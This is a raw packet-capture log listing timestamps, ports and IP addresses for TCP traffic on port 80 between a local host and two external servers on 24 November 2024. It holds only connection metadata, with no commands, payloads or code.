Nov 24, 2024 14:24:32.356158018 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.357300997 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.357342005 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.357502937 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.357547045 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.358506918 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.358551979 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.358627081 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.358675003 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.359735966 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.359782934 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.359847069 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.359895945 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.361016989 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.361213923 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.361213923 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.361255884 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.362226009 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.362278938 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.362365961 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.362406969 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.363543987 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.363617897 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.363967896 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.364017010 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.364748001 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.364924908 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.364968061 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.365971088 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.366017103 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.366086006 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.366214991 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.367207050 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.367254972 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.367285967 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.367340088 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.368479013 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.368550062 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.368587017 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.368629932 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.369684935 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.369726896 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.369762897 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.369806051 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.370965958 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.371119022 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.371145964 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.371196985 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.372426033 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.372531891 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.372577906 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.373543978 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.375060081 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.415122986 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.415175915 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.415235043 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.416055918 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.416153908 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.416239023 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.417887926 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.418473005 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.418543100 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.418602943 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.420392990 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.420684099 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.497131109 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.497180939 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.497241020 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.500965118 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.501018047 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.501072884 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.501512051 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.501569986 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.502130985 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.509854078 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.509911060 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.509959936 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.510320902 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.510407925 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.510452986 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.511559010 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.511634111 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.511679888 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.512641907 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.512684107 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.512772083 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.512820959 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.513803005 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.513921022 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.513967991 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.514995098 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.515044928 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.515086889 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.515132904 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.516130924 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.516247988 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.516295910 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.517319918 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.517364025 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.517467976 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.517510891 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.517615080 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.517627001 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.517705917 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.518440008 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.518532038 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.518543005 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.518579960 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.519587994 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.519632101 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.519717932 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.519761086 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.520739079 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.520781994 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.520863056 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.520905972 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.521914005 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.522036076 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.522080898 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.523072004 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.523117065 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.523137093 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.523179054 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.524225950 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.524269104 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.524339914 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.524388075 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.525413036 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.525530100 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.525573015 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.526567936 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.526613951 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.526701927 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.526746988 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.527713060 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.527827024 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.527870893 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.528913975 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.528959036 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.528995991 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.529046059 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.530013084 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.530056953 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.530138016 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.530180931 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.531199932 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.531244040 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.531379938 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.531423092 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.532461882 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.532505989 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.532514095 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.532545090 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.533520937 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.533627033 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.533673048 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.534676075 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.534719944 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.534756899 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.534800053 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.535809040 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.535855055 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.535984993 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.536030054 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.536966085 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.537010908 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.537069082 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.538144112 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.538184881 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.538220882 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.538266897 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.539267063 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.539316893 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.539453030 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.539503098 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.540502071 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.540580988 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.540627956 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.541662931 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.541709900 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.541722059 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.541764021 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.542743921 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.542789936 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.542851925 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.542893887 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.543922901 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.544106960 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.544152975 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.545087099 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.545140982 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.545183897 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.546271086 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.546315908 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.546442986 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.546487093 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.547422886 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.547482967 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.547492027 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.547544003 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.548541069 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.548595905 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.548631907 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.548671961 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.549689054 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.549809933 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.549863100 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.550844908 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.550894976 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.550949097 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.550988913 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.552000999 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.552119970 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.552165031 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.553152084 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.553194046 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.553224087 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.553268909 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.554306030 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.554349899 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.554363966 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.554406881 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.555500031 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.555584908 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.555627108 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.556658030 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.556703091 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.556736946 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.556772947 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.557826996 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.557872057 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.557965994 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.558007956 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.558971882 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.559015036 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.559089899 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.559134007 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.560179949 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.560198069 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.560223103 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.560239077 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.561295986 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.561480999 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.561527014 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.562438965 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.562484026 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.562551975 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.562601089 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.562957048 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.563580036 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.563698053 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.563744068 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.564769983 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.564815998 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.564860106 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.564899921 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.565896988 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.565936089 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.566009045 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.566046953 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.567255020 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.567265987 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.567295074 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.567307949 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.568216085 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.568365097 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.568406105 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.569540024 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.569705963 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.569745064 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.570606947 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.570646048 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.584178925 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.584403992 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.584486961 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.585151911 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.607052088 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.607063055 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.607145071 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.652328968 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.652380943 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.652390003 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.652488947 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.655432940 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.656760931 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.689385891 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.689395905 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.689450026 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.693171978 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.693216085 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.693281889 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.711097956 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.711260080 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.711332083 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.711335897 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.711458921 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.711504936 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.711530924 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.711971045 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.712023973 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.712061882 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.712114096 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.713093042 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.713845015 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.713901997 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.714592934 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.714605093 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.714647055 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.715420008 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.715528011 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.715570927 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.716545105 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.716590881 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.716620922 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.716667891 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.717714071 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.717827082 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.717875004 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.718899965 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.718945980 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.718985081 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.719032049 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.720021963 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.720153093 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.720217943 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.721184015 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.721240997 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.721265078 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.721318960 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.722357035 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.722414017 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.722477913 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.722526073 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.723500967 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.723543882 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.723608017 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.723653078 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.724661112 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.724706888 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.724821091 CET	80	49815	185.215.113.16	192.168.2.4
